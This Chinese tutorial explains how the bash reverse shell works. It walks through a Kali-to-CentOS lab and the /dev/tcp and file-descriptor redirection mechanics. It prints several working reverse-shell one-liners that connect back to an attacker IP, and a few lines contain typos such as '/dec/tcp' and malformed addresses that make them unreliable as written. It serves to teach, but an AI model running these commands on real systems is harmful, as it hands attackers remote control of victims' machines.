淺析Linux之bash反彈shell原理
環(huán)境
攻擊機(jī):kali ip:192.168.25.144
靶 機(jī):centos ip:192.168.25.142
過程
kali 監(jiān)聽本地8888端口
靶機(jī) centos 寫入 反彈shell 的命令
bash -i >& /dev/tcp/192.168.25.144/8888 0>&1
攻擊機(jī) kali 成功反彈shell
原理
反彈shell往往是在攻擊者無法直接連接受害者的情況下進(jìn)行的操作,原因有很多,例如目標(biāo)是局域網(wǎng),或者開啟防火墻的某些策略等情況,而這時(shí),我們就可以讓受害者主動(dòng)向攻擊者發(fā)起連接,被控端發(fā)起請(qǐng)求到控制端某端口,并將其命令行的輸入輸出轉(zhuǎn)到控制端,從而實(shí)現(xiàn)交互
我們將命令拆開
bash -i
/dev/tcp/192.168.25.144/8888
>& 0>&1
bash
Linux中一般默認(rèn)的shell是bash,它功能幾乎可以涵蓋shell所具有的功能,所以一般的shell腳本都會(huì)指定它為執(zhí)行路徑
常用的shell有 ash、bash、dash、ksh、csh、zsh 等,不同的shell都有自己的特點(diǎn)以及用途
查詢當(dāng)前shell命令 ls -l /bin/sh
bash -i 打開一個(gè)交互式的bash shell 如果有 -i 參數(shù),就是交互式的
交互的意思就是可以和用戶進(jìn)行交互,輸入命令,回顯給用戶就是一個(gè)交互的過程,而執(zhí)行一個(gè)shell腳本就是非交互的
使用命令 echo $- 可以查看是否是交互式shell
有參數(shù) i ,是交互式的
執(zhí)行一個(gè)shell腳本
無參數(shù) i ,非交互式
/dev目錄
dev是設(shè)備(device)的英文縮寫。這里主要存放與設(shè)備(包括外設(shè))有關(guān)的文件,Linux一切皆文件
/dev/tcp/是Linux中的一個(gè)特殊設(shè)備,打開這個(gè)文件就相當(dāng)于發(fā)出了一個(gè)socket調(diào)用,建立一個(gè)socket連接,讀寫這個(gè)文件就相當(dāng)于在這個(gè)socket連接中傳輸數(shù)據(jù)。同理,Linux中還存在/dev/udp/
/dev/tcp/192.168.25.144/8888
所以上述命令就是和192.168.25.144:8888建立TCP連接
文件描述符
Linux 系統(tǒng)中,把一切都看做是文件,當(dāng)進(jìn)程打開現(xiàn)有文件或創(chuàng)建新文件時(shí),內(nèi)核向進(jìn)程返回一個(gè)文件描述符,文件描述符就是內(nèi)核為了高效管理已被打開的文件所創(chuàng)建的索引,用來指向被打開的文件。
所有執(zhí)行I/O操作的系統(tǒng)調(diào)用都會(huì)通過文件描述符,即文件描述符可控制輸入輸出(輸入/輸出重定向)
標(biāo)準(zhǔn)輸入(stdin): 代碼為 0 使用 < 或 << 默認(rèn)設(shè)備鍵盤
標(biāo)準(zhǔn)輸出(stdout): 代碼為 1 使用 > 或 >> 默認(rèn)設(shè)備顯示器
標(biāo)準(zhǔn)錯(cuò)誤輸出(stderr): 代碼為 2 使用 2> 或 2>> 默認(rèn)設(shè)備顯示器
--- +--------+ ( 0 ) ---->|dev/tty0| 當(dāng)開啟一個(gè)終端時(shí) 默認(rèn)的文件描述符 指向 /dev/tty0(虛擬終端) --- +--------+ --- +--------+ ( 1 ) ---->|dev/tty0| --- +--------+ --- +--------+ ( 2 ) ---->|dev/tty0| --- +--------+
大多數(shù)Linux 系統(tǒng)命令從你的終端接受輸入并將所產(chǎn)生的輸出發(fā)送回到您的終端。一個(gè)命令通常從一個(gè)叫標(biāo)準(zhǔn)輸入的地方讀取輸入,默認(rèn)情況下,這恰好是你的終端。同樣,一個(gè)命令通常將其輸出寫入到標(biāo)準(zhǔn)輸出,默認(rèn)情況下,這也是你的終端
Shell 輸入/輸出重定向
我們讓上圖 輸出重定向
使用 1> 將輸出結(jié)果寫入到 指定文件中 文件不存在則創(chuàng)建文件,文件如果存在會(huì)覆蓋原文件內(nèi)容
省略不寫則默認(rèn)就是 1 同理,輸入重定向 0< 省略不寫則默認(rèn)就是 0
使用 >> 會(huì)追內(nèi)容在文件末尾
結(jié)合上面建立的TCP連接
kali攻擊機(jī)收到
結(jié)合bash -i
在kali得到命令執(zhí)行結(jié)果的回顯
此時(shí)我們輸入name,可以看到,標(biāo)準(zhǔn)輸出錯(cuò)誤并未被重定向
--- +--------+ ( 0 ) ---->|dev/tty0| --- +--------+ --- +--------+ +------------------+ ( 1 ) ---->|dev/tty0| ----> |/dev/tcp/host/port| --- +--------+ +------------------+ --- +--------+ ( 2 ) ---->|dev/tty0| --- +--------+
輸入重定向
在kali攻擊機(jī),輸入
靶機(jī)得到輸入指令,標(biāo)準(zhǔn)輸出(默認(rèn)終端)
--- +--------+ ( 0 ) ---->|dev/tty0| --- +--------+ --- +--------+ +------------------+ ( 1 ) ---->|dev/tty0| ----> |/dev/tcp/host/port| --- +--------+ +------------------+ --- +--------+ ( 2 ) ---->|dev/tty0| --- +--------+
?。。。。。。。。。。。。。?!
此時(shí),我們只需要將
bash i > /dec/tcp/192.168.25.144/8888 和 bash i < /dec/tcp/192.168.25.144/8888 結(jié)合
實(shí)現(xiàn)在攻擊機(jī) kali 輸入 命令,在kali 機(jī) 得到命令回顯,實(shí)現(xiàn)了反彈shell
即 使用下面的命令
bash -i > /dev/tcp/192.168.25.144/8888 0>&1
效果 kali ip:192.168.25.140
此時(shí)靶機(jī)會(huì)輸出在攻擊機(jī)所輸入的命令,還有一個(gè)問題,標(biāo)準(zhǔn)錯(cuò)誤輸出 并沒有重定向
補(bǔ)充:
bash 在執(zhí)行一條指令的時(shí)候,首先會(huì)檢查命令中存不存在重定向的符號(hào),如果存在那么首先將文件描述符重定向,存在多個(gè)則從左往右依次執(zhí)行
標(biāo)準(zhǔn)輸出與標(biāo)準(zhǔn)錯(cuò)誤輸出重定向
此時(shí)反彈shell語句里邊用到了 >& 操作符,>& 操作符在不同情況下有不通的含義
在 >&word 語法中,當(dāng)word是數(shù)字或 - 字符時(shí),操作符 >& 表示復(fù)制 文件描述符
而文件描述符的復(fù)制格式有 num1<&num2 和 num1>&num2
這里兩個(gè)都是將文件描述符 num1 復(fù)制到 num2 ,兩者的區(qū)別是,前者是以只讀的形式打開,后者是以寫的形式打開
因此 num1<&num2 和 num1>&num2 是等價(jià)的(讀/寫方式打開對(duì)其沒有任何影響)
所以上述命令可以修改為 bash -i > /dev/tcp/192.168.25.144/8888 0<&1
所以 0>&1 或者 0<&1
是對(duì)文件描述符的拷貝,是將0[標(biāo)準(zhǔn)輸入]重定向到了1[標(biāo)準(zhǔn)輸出]指向的位置
此時(shí)1[標(biāo)準(zhǔn)輸出]指向的是socket連接文件(第一個(gè) > ),
重定向完成后,0[標(biāo)準(zhǔn)輸入]也指向了socket連接文件,所以我推測(cè)因?yàn)榭截?,所以原?biāo)準(zhǔn)輸出回顯到靶機(jī)上(kali上敲的命 令)
--- +--------+ ( 0 ) ---->|dev/tty0|\ --- +--------+ \ \ --- +--------+ ----> +------------------+ ( 1 ) ---->|dev/tty0| ----> |/dev/tcp/host/port| --- +--------+ +------------------+ --- +--------+ ( 2 ) ---->|dev/tty0| --- +--------+
此時(shí)標(biāo)準(zhǔn)錯(cuò)誤輸出 依然未曾改變
在 >&word 語法中,當(dāng)word不是數(shù)字或 - 字符時(shí) >& 表示將 標(biāo)準(zhǔn)錯(cuò)誤輸出合并到標(biāo)準(zhǔn)輸出中
此時(shí)與操作符 &> 功能一樣 >&word 等價(jià)于 &> word 都相當(dāng)于 > word 2>&1
當(dāng)執(zhí)行 bash -i > /dev/tcp/192.168.25.140/9999 0>&1 命令時(shí),效果如下 標(biāo)準(zhǔn)輸出錯(cuò)誤并未被重定向
所以我們執(zhí)行命令 bash -i > /dev/tcp/192.168.25.140/9999 0>&1 2>&1 或
bash -i >& /dev/tcp/192.168.25.140/9999 0>&1 均形成了一個(gè)閉合的回路 ,同樣,命令回顯到攻擊機(jī)上
實(shí)現(xiàn)以下效果形成閉合,即可反彈shell ,而其他一些反彈命令,只要可以形成如下效果即可
--- +--------+ ( 0 ) ---->|dev/tty0|\ --- +--------+ \ \ --- +--------+ ----> +------------------+ ( 1 ) ---->|dev/tty0| ----> |/dev/tcp/host/port| --- +--------+ ----> +------------------+ / --- +--------+ / ( 2 ) ---->|dev/tty0| / --- +--------+
bash -i >& /dev/tcp/192.168.146.25.144/8888 <&1
bash -i >& /dev/tcp/192.168.146.25.144/8888 <&2
bash -i >& /dev/tcp/192.168.146.25.144/8888 0<&1
bash -i >& /dev/tcp/192.168.146.25.144/8888 0<&2
bash -i >& /dev/tcp/192.168.146.25.144/8888 0>&1
bash -i >& /dev/tcp/192.168.146.25.144/8888 0>&2
bash -i > /dev/tcp/192.168.25.144/8888 0>&1 2>&1
等
本文借鑒了很多大佬的博客,如有更正的地方。還望指出
參考鏈接:
https://www.gnu.org/software/bash/manual/html_node/Redirections.html
http://wiki.bash-hackers.org/howto/redirection_tutorial
https://www.00theway.org/2017/07/11/bash%20%E5%8F%8D%E5%BC%B9shell/
到此這篇關(guān)于淺析Linux之bash反彈shell原理的文章就介紹到這了,更多相關(guān)Linux bash反彈shell內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
shell腳本實(shí)現(xiàn)批量測(cè)試局域網(wǎng)主機(jī)是否在線
這篇文章主要介紹了shell腳本實(shí)現(xiàn)批量測(cè)試局域網(wǎng)主機(jī)是否在線,效果是:主機(jī)在線顯示綠色,主機(jī)離線顯示紅色結(jié)果,需要的朋友可以參考下2014-12-12linux 中的ls命令參數(shù)詳解及l(fā)s命令的使用實(shí)例
這篇文章主要介紹了linux 中的ls命令參數(shù)詳解及l(fā)s命令的使用實(shí)例,需要的朋友可以參考下2017-08-08解決linux?shell中傳遞包含空格的參數(shù)問題
這篇文章主要介紹了如何解決linux?shell中傳遞包含空格的參數(shù)問題,具有很好的參考價(jià)值,希望對(duì)大家有所幫助,如有錯(cuò)誤或未考慮完全的地方,望不吝賜教2023-09-09Shell腳本實(shí)戰(zhàn)之DNS主從同步腳本實(shí)例
這篇文章主要介紹了Shell腳本實(shí)戰(zhàn)之DNS主從同步腳本實(shí)例,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2019-10-10Linux下查看.so和可執(zhí)行文件是否debug編譯的方法(必看)
下面小編就為大家?guī)硪黄狶inux下查看.so和可執(zhí)行文件是否debug編譯的方法(必看)。小編覺得挺不錯(cuò)的,現(xiàn)在就分享給大家,也給大家做個(gè)參考。一起跟隨小編過來看看吧2017-03-03Shell腳本實(shí)現(xiàn)MySQL、Oracle、PostgreSQL數(shù)據(jù)庫備份
本文主要介紹了Shell腳本實(shí)現(xiàn)MySQL、Oracle、PostgreSQL數(shù)據(jù)庫備份,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2024-02-02